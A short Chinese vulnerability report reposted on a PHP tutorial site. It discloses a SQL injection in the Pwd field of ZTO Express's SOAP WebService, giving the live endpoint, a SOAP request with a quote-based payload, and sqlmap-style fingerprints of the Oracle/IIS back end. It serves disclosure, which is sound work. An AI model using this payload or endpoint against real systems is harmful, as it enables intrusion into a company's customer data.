中通速递WebService注入一枚 - 网站安全

中通速递WebService注入一枚 - 网站安全 - 自学php

来源：自学PHP网时间：2015-04-15 14:59 作者：阅读:次

[导读] 接口地址：http: api zto cn WebService asmx?wsdlPwd参数存在SQL注入漏洞SOAP-ENV:Header SOAP-ENV:Body urn:Search urn:Userid1 urn:Userid...

接口地址：

http://api.zto.cn/WebService.asmx?wsdl

Pwd参数存在SQL注入漏洞

<SOAP-ENV:Header/>

     <SOAP-ENV:Body>

        <urn:Search>

           <urn:Userid>1</urn:Userid>

           <urn:Pwd>-1'</urn:Pwd>

           <urn:SrtjobNo>1</urn:SrtjobNo>

        </urn:Search>

     </SOAP-ENV:Body>

</SOAP-ENV:Envelope>

版本信息：

[INFO] the back-end DBMS is Oracle

web server operating system: Windows 2008

web application technology: ASP.NET, ASP.NET 4.0.30319, Microsoft IIS 7.5

back-end DBMS: Oracle

oracle库名：

主库应该在这。。就不继续了。。

修复方案：

过滤~

Web应用安全检测和防御机制 - 网站安全 - 自学p

360网站宝/安全宝/加速乐及其他类似产品防护绕过

子栏目

中通速递WebService注入一枚 - 网站安全 - 自学php

最新评论

添加评论

更多文章推荐

添加评论